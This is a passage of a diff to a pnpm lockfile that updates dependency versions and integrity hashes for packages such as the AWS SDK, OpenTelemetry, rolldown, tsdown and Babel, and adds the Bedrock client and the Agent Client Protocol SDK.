sha512-g6DNPaV9/WI9MoX2XllafxQuxwY1TV++j7hP8fTJByVBuCoVtm3dy9f/2vtH/HU40JztcgWF4G7ua+gkainklQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true peerDependencies: - oxlint-tsgolint: '>=0.14.1' + oxlint-tsgolint: '>=0.15.0' peerDependenciesMeta: oxlint-tsgolint: optional: true @@ -5391,10 +5664,6 @@ packages: resolution: {integrity: sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==} engines: {node: '>=12.0.0'} - protobufjs@8.0.0: - resolution: {integrity: sha512-jx6+sE9h/UryaCZhsJWbJtTEy47yXoGNYI4z8ZaRncM0zBKeRqjO2JEcOUYwrYGb1WLhXM1FfMzW3annvFv0rw==} - engines: {node: '>=12.0.0'} - proxy-addr@2.0.7: resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} engines: {node: '>= 0.10'} @@ -5596,8 +5865,8 @@ packages: resolution: {integrity: sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==} hasBin: true - rolldown-plugin-dts@0.22.2: - resolution: {integrity: sha512-Ge+XF962Kobjr0hRPx1neVnLU2jpKkD2zevZTfPKf/0el4eYo9SyGPm0stiHDG2JQuL0Q3HLD0Kn+ST8esvVdA==} + rolldown-plugin-dts@0.22.4: + resolution: {integrity: sha512-pueqTPyN1N6lWYivyDGad+j+GO3DT67pzpct8s8e6KGVIezvnrDjejuw1AXFeyDRas3xTq4Ja6Lj5R5/04C5GQ==} engines: {node: '>=20.19.0'} peerDependencies: '@ts-macro/tsc': ^0.3.6 @@ -5615,8 +5884,8 @@ packages: vue-tsc: optional: true - rolldown@1.0.0-rc.5: - resolution: {integrity: sha512-0AdalTs6hNTioaCYIkAa7+xsmHBfU5hCNclZnM/lp7lGGDuUOb6N4BVNtwiomybbencDjq/waKjTImqiGCs5sw==} + rolldown@1.0.0-rc.7: + resolution: {integrity: sha512-5X0zEeQFzDpB3MqUWQZyO2TUQqP9VnT7CqXHF2laTFRy487+b6QZyotCazOySAuZLAvplCaOVsg1tVn/Zlmwfg==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true @@ -6009,28 +6278,31 @@ packages: ts-algebra@2.0.0: resolution: {integrity: sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==} - tsdown@0.21.0-beta.2: - resolution: {integrity: sha512-OKj8mKf0ws1ucxuEi3mO/OGyfRQxO9MY2D6SoIE/7RZcbojsZSBhJr4xC4MNivMqrQvi3Ke2e+aRZDemPBWPCw==} + tsdown@0.21.0: + resolution: {integrity: sha512-Sw/ehzVhjYLD7HVBPybJHDxpcaeyFjPcaDCME23o9O4fyuEl6ibYEdrnB8W8UchYAGoayKqzWQqx/oIp3jn/Vg==} engines: {node: '>=20.19.0'} hasBin: true peerDependencies: '@arethetypeswrong/core': ^0.18.1 + '@tsdown/css': 0.21.0 + '@tsdown/exe': 0.21.0 '@vitejs/devtools': '*' publint: ^0.3.0 typescript: ^5.0.0 - unplugin-lightningcss: ^0.4.0 unplugin-unused: ^0.5.0 peerDependenciesMeta: '@arethetypeswrong/core': optional: true + '@tsdown/css': + optional: true + '@tsdown/exe': + optional: true '@vitejs/devtools': optional: true publint: optional: true typescript: optional: true - unplugin-lightningcss: - optional: true unplugin-unused: optional: true @@ -6136,8 +6408,8 @@ packages: resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} engines: {node: '>= 0.8'} - unrun@0.2.28: - resolution: {integrity: sha512-LqMrI3ZEUMZ2476aCsbUTfy95CHByqez05nju4AQv4XFPkxh5yai7Di1/Qb0FoELHEEPDWhQi23EJeFyrBV0Og==} + unrun@0.2.30: + resolution: {integrity: sha512-a4W1wDADI0gvDDr14T0ho1FgMhmfjq6M8Iz8q234EnlxgH/9cMHDueUSLwTl1fwSBs5+mHrLFYH+7B8ao36EBA==} engines: {node: '>=20.19.0'} hasBin: true peerDependencies: @@ -6395,6 +6667,10 @@ snapshots: dependencies: zod: 4.3.6 + '@agentclientprotocol/sdk@0.15.0(zod@4.3.6)': + dependencies: + zod: 4.3.6 + '@anthropic-ai/sdk@0.73.0(zod@4.3.6)': dependencies: json-schema-to-ts: 3.1.1 @@ -6427,7 +6703,7 @@ snapshots: '@aws-crypto/sha256-js': 5.2.0 '@aws-crypto/supports-web-crypto': 5.2.0 '@aws-crypto/util': 5.2.0 - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 '@aws-sdk/util-locate-window': 3.965.4 '@smithy/util-utf8': 2.3.0 tslib: 2.8.1 @@ -6435,7 +6711,7 @@ snapshots: '@aws-crypto/sha256-js@5.2.0': dependencies: '@aws-crypto/util': 5.2.0 - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 tslib: 2.8.1 '@aws-crypto/supports-web-crypto@5.2.0': @@ -6444,7 +6720,7 @@ snapshots: '@aws-crypto/util@5.2.0': dependencies: - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 '@smithy/util-utf8': 2.3.0 tslib: 2.8.1 @@ -6545,6 +6821,51 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/client-bedrock@3.1004.0': + dependencies: + '@aws-crypto/sha256-browser': 5.2.0 + '@aws-crypto/sha256-js': 5.2.0 + '@aws-sdk/core': 3.973.18 + '@aws-sdk/credential-provider-node': 3.972.18 + '@aws-sdk/middleware-host-header': 3.972.7 + '@aws-sdk/middleware-logger': 3.972.7 + '@aws-sdk/middleware-recursion-detection': 3.972.7 + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/region-config-resolver': 3.972.7 + '@aws-sdk/token-providers': 3.1004.0 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@aws-sdk/util-user-agent-browser': 3.972.7 + '@aws-sdk/util-user-agent-node': 3.973.4 + '@smithy/config-resolver': 4.4.10 + '@smithy/core': 3.23.9 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/hash-node': 4.2.11 + '@smithy/invalid-dependency': 4.2.11 + '@smithy/middleware-content-length': 4.2.11 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-retry': 4.4.40 + '@smithy/middleware-serde': 4.2.12 + '@smithy/middleware-stack': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/node-http-handler': 4.4.14 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-body-length-node': 4.2.3 + '@smithy/util-defaults-mode-browser': 4.3.39 + '@smithy/util-defaults-mode-node': 4.2.42 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/client-s3@3.1000.0': dependencies: '@aws-crypto/sha1-browser': 5.2.0 @@ -6621,6 +6942,22 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@aws-sdk/core@3.973.18': + dependencies: + '@aws-sdk/types': 3.973.5 + '@aws-sdk/xml-builder': 3.972.10 + '@smithy/core': 3.23.9 + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/signature-v4': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@aws-sdk/crc64-nvme@3.972.3': dependencies: '@smithy/types': 4.13.0 @@ -6634,6 +6971,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/credential-provider-env@3.972.16': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.15': dependencies: '@aws-sdk/core': 3.973.15 @@ -6647,6 +6992,19 @@ snapshots: '@smithy/util-stream': 4.5.15 tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.18': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/node-http-handler': 4.4.14 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-stream': 4.5.17 + tslib: 2.8.1 + '@aws-sdk/credential-provider-ini@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6666,6 +7024,25 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-ini@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/credential-provider-env': 3.972.16 + '@aws-sdk/credential-provider-http': 3.972.18 + '@aws-sdk/credential-provider-login': 3.972.17 + '@aws-sdk/credential-provider-process': 3.972.16 + '@aws-sdk/credential-provider-sso': 3.972.17 + '@aws-sdk/credential-provider-web-identity': 3.972.17 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-login@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6679,6 +7056,19 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-login@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-node@3.972.14': dependencies: '@aws-sdk/credential-provider-env': 3.972.13 @@ -6696,6 +7086,23 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-node@3.972.18': + dependencies: + '@aws-sdk/credential-provider-env': 3.972.16 + '@aws-sdk/credential-provider-http': 3.972.18 + '@aws-sdk/credential-provider-ini': 3.972.17 + '@aws-sdk/credential-provider-process': 3.972.16 + '@aws-sdk/credential-provider-sso': 3.972.17 + '@aws-sdk/credential-provider-web-identity': 3.972.17 + '@aws-sdk/types': 3.973.5 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-process@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6705,6 +7112,15 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/credential-provider-process@3.972.16': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/credential-provider-sso@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6718,6 +7134,19 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-sso@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/token-providers': 3.1004.0 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-web-identity@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6730,6 +7159,18 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-web-identity@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/eventstream-handler-node@3.972.9': dependencies: '@aws-sdk/types': 3.973.4 @@ -6785,6 +7226,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-host-header@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-location-constraint@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6797,6 +7245,12 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-logger@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-recursion-detection@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6805,6 +7259,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-recursion-detection@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@aws/lambda-invoke-store': 0.2.3 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-sdk-s3@3.972.15': dependencies: '@aws-sdk/core': 3.973.15 @@ -6838,6 +7300,17 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-user-agent@3.972.19': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@smithy/core': 3.23.9 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-retry': 4.2.11 + tslib: 2.8.1 + '@aws-sdk/middleware-websocket@3.972.10': dependencies: '@aws-sdk/types': 3.973.4 @@ -6896,6 +7369,49 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/nested-clients@3.996.7': + dependencies: + '@aws-crypto/sha256-browser': 5.2.0 + '@aws-crypto/sha256-js': 5.2.0 + '@aws-sdk/core': 3.973.18 + '@aws-sdk/middleware-host-header': 3.972.7 + '@aws-sdk/middleware-logger': 3.972.7 + '@aws-sdk/middleware-recursion-detection': 3.972.7 + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/region-config-resolver': 3.972.7 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@aws-sdk/util-user-agent-browser': 3.972.7 + '@aws-sdk/util-user-agent-node': 3.973.4 + '@smithy/config-resolver': 4.4.10 + '@smithy/core': 3.23.9 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/hash-node': 4.2.11 + '@smithy/invalid-dependency': 4.2.11 + '@smithy/middleware-content-length': 4.2.11 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-retry': 4.4.40 + '@smithy/middleware-serde': 4.2.12 + '@smithy/middleware-stack': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/node-http-handler': 4.4.14 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-body-length-node': 4.2.3 + '@smithy/util-defaults-mode-browser': 4.3.39 + '@smithy/util-defaults-mode-node': 4.2.42 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/region-config-resolver@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6904,6 +7420,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/region-config-resolver@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/config-resolver': 4.4.10 + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/s3-request-presigner@3.1000.0': dependencies: '@aws-sdk/signature-v4-multi-region': 3.996.3 @@ -6936,6 +7460,18 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/token-providers@3.1004.0': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/token-providers@3.999.0': dependencies: '@aws-sdk/core': 3.973.15 @@ -6953,6 +7489,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/types@3.973.5': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/util-arn-parser@3.972.2': dependencies: tslib: 2.8.1 @@ -6965,6 +7506,14 @@ snapshots: '@smithy/util-endpoints': 3.3.1 tslib: 2.8.1 + '@aws-sdk/util-endpoints@3.996.4': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-endpoints': 3.3.2 + tslib: 2.8.1 + '@aws-sdk/util-format-url@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6983,6 +7532,13 @@ snapshots: bowser: 2.14.1 tslib: 2.8.1 + '@aws-sdk/util-user-agent-browser@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/types': 4.13.0 + bowser: 2.14.1 + tslib: 2.8.1 + '@aws-sdk/util-user-agent-node@3.973.0': dependencies: '@aws-sdk/middleware-user-agent': 3.972.15 @@ -6991,6 +7547,20 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/util-user-agent-node@3.973.4': + dependencies: + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/types': 3.973.5 + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + + '@aws-sdk/xml-builder@3.972.10': + dependencies: + '@smithy/types': 4.13.0 + fast-xml-parser: 5.3.8 + tslib: 2.8.1 + '@aws-sdk/xml-builder@3.972.8': dependencies: '@smithy/types': 4.13.0 @@ -7027,10 +7597,10 @@ snapshots: jsonwebtoken: 9.0.3 uuid: 8.3.2 - '@babel/generator@8.0.0-rc.1': + '@babel/generator@8.0.0-rc.2': dependencies: - '@babel/parser': 8.0.0-rc.1 - '@babel/types': 8.0.0-rc.1 + '@babel/parser': 8.0.0-rc.2 + '@babel/types': 8.0.0-rc.2 '@jridgewell/gen-mapping': 0.3.13 '@jridgewell/trace-mapping': 0.3.31 '@types/jsesc': 2.5.1 @@ -7042,15 +7612,15 @@ snapshots: '@babel/helper-validator-identifier@7.28.5': {} - '@babel/helper-validator-identifier@8.0.0-rc.1': {} + '@babel/helper-validator-identifier@8.0.0-rc.2': {} '@babel/parser@7.29.0': dependencies: '@babel/types': 7.29.0 - '@babel/parser@8.0.0-rc.1': + '@babel/parser@8.0.0-rc.2': dependencies: - '@babel/types': 8.0.0-rc.1 + '@babel/types': 8.0.0-rc.2 '@babel/runtime@7.28.6': {} @@ -7059,10 +7629,10 @@ snapshots: '@babel/helper-string-parser': 7.27.1 '@babel/helper-validator-identifier': 7.28.5 - '@babel/types@8.0.0-rc.1': + '@babel/types@8.0.0-rc.2': dependencies: '@babel/helper-string-parser': 8.0.0-rc.2 - '@babel/helper-validator-identifier': 8.0.0-rc.1 + '@babel/helper-validator-identifier': 8.0.0-rc.2 '@bcoe/v8-coverage@1.0.2': {} @@ -7070,7 +7640,7 @@ snapshots: '@buape/carbon@0.0.0-beta-20260216184201(@discordjs/opus@0.10.0)(hono@4.12.5)(opusscript@0.1.1)': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 discord-api-types: 0.38.37 optionalDependencies: '@cloudflare/workers-types': 4.20260120.0 @@ -7111,12 +7681,21 @@ snapshots: picocolors: 1.1.1 sisteransi: 1.0.5 + '@clack/core@1.1.0': + dependencies: + sisteransi: 1.0.5 + '@clack/prompts@1.0.1': dependencies: '@clack/core': 1.0.1 picocolors: 1.1.1 sisteransi: 1.0.5 + '@clack/prompts@1.1.0': + dependencies: + '@clack/core': 1.1.0 + sisteransi: 1.0.5 + '@cloudflare/workers-types@4.20260120.0': optional: true @@ -7230,7 +7809,7 @@ snapshots: '@discordjs/voice@0.19.0(@discordjs/opus@0.10.0)(opusscript@0.1.1)': dependencies: '@types/ws': 8.18.1 - discord-api-types: 0.38.40 + discord-api-types: 0.38.41 prism-media: 1.3.5(@discordjs/opus@0.10.0)(opusscript@0.1.1) tslib: 2.8.1 ws: 8.19.0 @@ -7355,11 +7934,21 @@ snapshots: abort-controller: 3.0.0 grammy: 1.41.0 + '@grammyjs/runner@2.0.3(grammy@1.41.1)': + dependencies: + abort-controller: 3.0.0 + grammy: 1.41.1 + '@grammyjs/transformer-throttler@1.2.1(grammy@1.41.0)': dependencies: bottleneck: 2.19.5 grammy: 1.41.0 + '@grammyjs/transformer-throttler@1.2.1(grammy@1.41.1)': + dependencies: + bottleneck: 2.19.5 + grammy: 1.41.1 + '@grammyjs/types@3.25.0': {} '@grpc/grpc-js@1.14.3': @@ -8095,374 +8684,375 @@ snapshots: '@octokit/request-error': 7.1.0 '@octokit/webhooks-methods': 6.0.0 - '@opentelemetry/api-logs@0.212.0': + '@opentelemetry/api-logs@0.213.0': dependencies: '@opentelemetry/api': 1.9.0 '@opentelemetry/api@1.9.0': {} - '@opentelemetry/configuration@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/configuration@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) yaml: 2.8.2 - '@opentelemetry/context-async-hooks@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/context-async-hooks@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core@2.5.1(@opentelemetry/api@1.9.0)': + '@opentelemetry/core@2.6.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 '@opentelemetry/semantic-conventions': 1.40.0 - '@opentelemetry/exporter-logs-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-logs-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-logs-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/api-logs': 0.212.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-logs': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-trace-base': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/api-logs': 0.213.0 + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-logs': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-trace-base': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-grpc@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-grpc@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@grpc/grpc-js': 1.14.3 '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-grpc-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/exporter-metrics-otlp-http': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-grpc-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-http@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-exporter-base': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/otlp-transformer': 0.212.0(@opentelemetry/api@1.9.0) - '@opentelemetry/resources': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/sdk-metrics': 2.5.1(@opentelemetry/api@1.9.0) + '@opentelemetry/core': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-exporter-base': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/otlp-transformer': 0.213.0(@opentelemetry/api@1.9.0) + '@opentelemetry/resources': 2.6.0(@opentelemetry/api@1.9.0) + '@opentelemetry/sdk-metrics': 2.6.0(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-proto@0.212.0(@opentelemetry/api@1.9.0)': + '@opentelemetry/exporter-metrics-otlp-proto@0.213.0(@opentelemetry/api@1.9.0)': dependencies: '@opentelemetry/api': 1.9.0 - '@opentelemetry/core': 2.5.1(@opentelemetry/api@1.9.0) - '@opentelemetry/exporter-metrics-otlp-http': 0.212.0(@opentelemetry/api@1.9.0) - 